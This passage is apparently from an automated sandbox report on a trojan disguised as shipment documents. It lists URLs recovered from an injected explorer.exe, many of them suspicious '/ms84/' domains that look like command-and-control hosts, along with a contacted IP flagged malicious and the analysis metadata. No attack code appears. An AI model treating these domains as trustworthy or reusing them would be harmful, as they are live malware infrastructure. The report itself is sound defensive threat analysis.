                                                                http://www.oco188rtp.xyz/ms84/explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		unknown
                                                                  http://www.duxrib.xyzReferer:explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    		unknown
                                                                    http://www.oco188rtp.xyz/ms84/www.uiejosdarksumdauts.shopexplorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		unknown
                                                                      http://www.outh-kejj.xyzReferer:explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                        		unknown
                                                                        http://www.ikigorakos.net/ms84/explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          		unknown
                                                                          http://www.taff-ltpugj.xyz/ms84/explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            		unknown
                                                                            http://www.ridging-solutions-llc.net/ms84/explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		unknown
                                                                              http://www.unwaleheathyhibbing.cfdReferer:explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                		unknown
                                                                                http://www.ecurity-ukgaxq.xyz/ms84/explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  		unknown
                                                                                  http://www.unwaleheathyhibbing.cfdexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                    		unknown
                                                                                    http://www.764.xyzReferer:explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      		unknown
                                                                                      http://www.elieve-nrrv.xyzexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        		unknown
                                                                                        http://www.yzwj-she.xyzexplorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          		unknown
                                                                                          http://www.vqq-national.xyzexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            		unknown
                                                                                            http://www.unwaleheathyhibbing.cfd/ms84/www.oco188rtp.xyzexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                              		unknown
                                                                                              http://www.rilseguloseheating.shop/ms84/www.erform-tgap.xyzexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                		unknown
                                                                                                https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/Zealandia-Continent_map_en.svg/1870px-Zealexplorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  		unknown
                                                                                                  http://www.764.xyzexplorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    		unknown
                                                                                                    http://www.uhy-key.xyz/ms84/www.ecurity-ukgaxq.xyzexplorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      		unknown
                                                                                                      http://www.5syp.xyzReferer:explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                        		unknown
                                                                                                        http://www.microsoft.cexplorer.exe, 00000003.00000000.1452754587.0000000009237000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.2312821972.0000000009237000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                        • URL Reputation: safe
                                                                                                        		unknown
                                                                                                        http://www.ixiaopu.top/ms84/www.vqq-national.xyzexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                          		unknown
                                                                                                          https://word.office.comT;=explorer.exe, 0000000D.00000003.2380307173.0000000008CA2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            		unknown
                                                                                                            https://android.notify.windows.com/iOSdexplorer.exe, 00000003.00000002.2320722901.000000000BC80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1456860332.000000000BC80000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                              		unknown
                                                                                                              http://www.duxrib.xyz/ms84/www.hlut-government.xyzexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                		unknown
                                                                                                                http://www.emesiartwork.netReferer:explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                  		unknown
                                                                                                                  http://www.xfetchbesnowsblacher.shopexplorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                    		unknown
                                                                                                                    http://www.vqq-national.xyz/ms84/explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                      		unknown
                                                                                                                      https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsiexplorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                        		unknown
                                                                                                                        http://www.autoitscript.com/autoit3/Jexplorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                          		unknown
                                                                                                                          http://www.erform-tgap.xyzexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                            		unknown
                                                                                                                            https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13glsKexplorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                              		unknown
                                                                                                                              http://www.erform-tgap.xyz/ms84/explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                		unknown
                                                                                                                                http://www.ridging-solutions-llc.net/ms84/www.uhy-key.xyzexplorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                  		unknown
                                                                                                                                  https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earningsexplorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                  • URL Reputation: safe
                                                                                                                                  		unknown
                                                                                                                                  https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gAVf-darkexplorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                    		unknown
                                                                                                                                    http://ns.adobe.cexplorer.exe, 0000000D.00000002.2717021958.00000000051DA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                      		unknown
                                                                                                                                      http://www.xfetchbesnowsblacher.shop/ms84/www.5syp.xyzexplorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                        		unknown
                                                                                                                                        http://www.taff-ltpugj.xyz/ms84/www.yzwj-she.xyzexplorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                          		unknown
                                                                                                                                          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2C0explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                            		unknown
                                                                                                                                            https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-darkexplorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                              		unknown
                                                                                                                                              http://www.emesiartwork.net/ms84/www.risiddivinayaka.netexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                		unknown
                                                                                                                                                https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                • URL Reputation: safe
                                                                                                                                                		unknown
                                                                                                                                                http://www.emesiartwork.netexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                  		unknown
                                                                                                                                                  http://www.rilseguloseheating.shopReferer:explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                    		unknown
                                                                                                                                                    http://www.outh-kejj.xyzexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                      		unknown
                                                                                                                                                      https://outlook.comexplorer.exe, 00000003.00000002.2320722901.000000000BBB0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1456860332.000000000BBB0000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                      • URL Reputation: safe
                                                                                                                                                      		unknown
                                                                                                                                                      https://outlook.comngexplorer.exe, 0000000D.00000003.2380307173.0000000008CA2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                        		unknown
                                                                                                                                                        http://www.uhy-key.xyzReferer:explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                          		unknown
                                                                                                                                                          http://www.aby-qwjqlg.xyzexplorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                            		unknown
                                                                                                                                                            http://www.kn510v1.topexplorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                              		unknown
                                                                                                                                                              http://www.agieworld.xyzexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                		unknown
                                                                                                                                                                http://www.elieve-nrrv.xyz/ms84/explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                  		unknown
                                                                                                                                                                  https://android.notify.windows.com/iOSexplorer.exe, 00000003.00000002.2320722901.000000000BC80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1456860332.000000000BC80000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                                  		unknown
                                                                                                                                                                  https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppexplorer.exe, 00000003.00000002.2320722901.000000000BC80000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1456860332.000000000BC80000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                                  		unknown
                                                                                                                                                                  https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-theexplorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                    		unknown
                                                                                                                                                                    http://www.xcoy-product.xyz/ms84/explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                      		unknown
                                                                                                                                                                      http://www.xfetchbesnowsblacher.shop/ms84/explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                        		unknown
                                                                                                                                                                        http://www.oco188rtp.xyzReferer:explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                          		unknown
                                                                                                                                                                          https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svgexplorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                            		unknown
                                                                                                                                                                            https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBAexplorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                              		unknown
                                                                                                                                                                              http://www.mployee-jkmmz.xyzexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                		unknown
                                                                                                                                                                                https://www.msn.com/en-us/money/news/11-things-you-should-not-do-in-retirement/vi-AA1hH9Jzexplorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                  		unknown
                                                                                                                                                                                  http://www.risiddivinayaka.net/ms84/www.uhy-key.xyzexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                    		unknown
                                                                                                                                                                                    https://www.msn.com/en-us/sports/other/washington-state-ad-asks-ncaa-for-compassion-and-understandinexplorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                      		unknown
                                                                                                                                                                                      http://www.ridging-solutions-llc.netReferer:explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                        		unknown
                                                                                                                                                                                        http://www.elieve-nrrv.xyz/ms84/www.outh-kejj.xyzexplorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                                                          		unknown
                                                                                                                                                                                          http://www.duxrib.xyz/ms84/explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                            		unknown
                                                                                                                                                                                            http://www.vqq-national.xyzReferer:explorer.exe, 00000003.00000002.2302335267.0000000003010000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                              		unknown
                                                                                                                                                                                              https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gAVfexplorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                		unknown
                                                                                                                                                                                                https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k-darkexplorer.exe, 00000003.00000002.2308475424.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1449924932.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2313833385.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2310122163.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2354337486.0000000007C22000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2718527037.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                  http://www.5syp.xyz/ms84/explorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                    https://api.msn.com/v1/news/Feed/Windows?explorer.exe, 00000003.00000002.2312821972.00000000090DA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1452754587.00000000090DA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2721754963.0000000008AF6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2381674257.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2380904338.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2462247931.0000000008AF6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2452028557.0000000008AF6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2456330575.0000000008AF6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2385694566.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2384419569.0000000008B2D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                    http://www.vqq-national.xyz/ms84/www.xfetchbesnowsblacher.shopexplorer.exe, 0000000D.00000002.2730594093.000000000D05A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                      https://cdn.query.prod.cms.explorer.exe, 0000000D.00000003.2394374677.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2308454458.0000000007C0E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000003.2312392123.0000000007C0E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                        		unknown

                                                                                                                                                                                                        World Map of Contacted IPs

                                                                                                                                                                                                        • No. of IPs < 25%
                                                                                                                                                                                                        • 25% < No. of IPs < 50%
                                                                                                                                                                                                        • 50% < No. of IPs < 75%
                                                                                                                                                                                                        • 75% < No. of IPs

                                                                                                                                                                                                        Public IPs

                                                                                                                                                                                                        IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                        13.248.252.114
                                                                                                                                                                                                        		www.764.xyzUnited States
                                                                                                                                                                                                        		16509AMAZON-02UStrue

                                                                                                                                                                                                        General Information

                                                                                                                                                                                                        Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                                                        Analysis ID:1543817
                                                                                                                                                                                                        Start date and time:2024-10-28 14:11:08 +01:00
                                                                                                                                                                                                        Joe Sandbox product:CloudBasic
                                                                                                                                                                                                        Overall analysis duration:0h 9m 8s
                                                                                                                                                                                                        Hypervisor based Inspection enabled:false
                                                                                                                                                                                                        Report type:full
                                                                                                                                                                                                        Cookbook file name:default.jbs
                                                                                                                                                                                                        Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                        Number of analysed new started processes analysed:30
                                                                                                                                                                                                        Number of new started drivers analysed:0
                                                                                                                                                                                                        Number of existing processes analysed:0
                                                                                                                                                                                                        Number of existing drivers analysed:0
                                                                                                                                                                                                        Number of injected processes analysed:1
                                                                                                                                                                                                        Technologies:
                                                                                                                                                                                                        • HCA enabled
                                                                                                                                                                                                        • EGA enabled
                                                                                                                                                                                                        • AMSI enabled
                                                                                                                                                                                                        Analysis Mode:default
                                                                                                                                                                                                        Analysis stop reason:Timeout
                                                                                                                                                                                                        Sample name:Export Shipment Documents 72335.exe
                                                                                                                                                                                                        Detection:MAL
                                                                                                                                                                                                        Classification:mal100.troj.evad.winEXE@10/8@5/1
                                                                                                                                                                                                        EGA Information:
                                                                                                                                                                                                        • Successful, ratio: 100%
                                                                                                                                                                                                        HCA Information:
                                                                                                                                                                                                        • Successful, ratio: 100%
                                                                                                                                                                                                        • Number of executed functions: 42
                                                                                                                                                                                                        • Number of non-executed functions: 310
                                                                                                                                                                                                        Cookbook Comments:
                                                                                                                                                                                                        • Found application associated with file extension: .exe

                                                                                                                                                                                                        Warnings

                                                                                                                                                                                                        • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, UserOOBEBroker.exe, RuntimeBroker.exe, SIHClient.exe, backgroundTaskHost.exe, SearchApp.exe, audiodg.exe, WerFault.exe, ShellExperienceHost.exe, WMIADAP.exe, conhost.exe, svchost.exe, TextInputHost.exe, StartMenuExperienceHost.exe, mobsync.exe
                                                                                                                                                                                                        • Excluded IPs from analysis (whitelisted): 204.79.197.203, 2.23.209.133, 2.23.209.135, 2.23.209.130, 2.23.209.188, 2.23.209.189, 2.23.209.183, 2.23.209.192, 2.23.209.186, 2.23.209.185, 2.23.209.167, 2.23.209.156, 2.23.209.148, 2.23.209.150, 2.23.209.166, 2.23.209.154, 2.23.209.149, 2.23.209.162, 2.23.209.158
                                                                                                                                                                                                        • Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, slscr.update.microsoft.com, r.bing.com.edgekey.net, a-0003.a-msedge.net, ctldl.windowsupdate.com, p-static.bing.trafficmanager.net, www-www.bing.com.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, login.live.com, r.bing.com, api-msn-com.a-0003.a-msedge.net
                                                                                                                                                                                                        • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                        • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                                                                                                                                        • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                        • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                                                                                                                                        • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                                                                                                                                        • Report size getting too big, too many NtCreateKey calls found.
                                                                                                                                                                                                        • Report size getting too big, too many NtEnumerateKey calls found.
                                                                                                                                                                                                        • Report size getting too big, too many NtEnumerateValueKey calls found.
                                                                                                                                                                                                        • Report size getting too big, too many NtOpenFile calls found.
                                                                                                                                                                                                        • Report size getting too big, too many NtOpenKey calls found.
                                                                                                                                                                                                        • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                        • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                                        • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                                                                                                                                                                        • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                        • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                                                                                                                                                        • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                                                                                                                        • VT rate limit hit for: Export Shipment Documents 72335.exe

                                                                                                                                                                                                        Simulations

                                                                                                                                                                                                        Behavior and APIs

                                                                                                                                                                                                        TimeTypeDescription
                                                                                                                                                                                                        09:12:25API Interceptor127038x Sleep call for process: explorer.exe modified
                                                                                                                                                                                                        09:12:51API Interceptor1986926x Sleep call for process: help.exe modified

                                                                                                                                                                                                        Joe Sandbox View / Context

                                                                                                                                                                                                        IPs

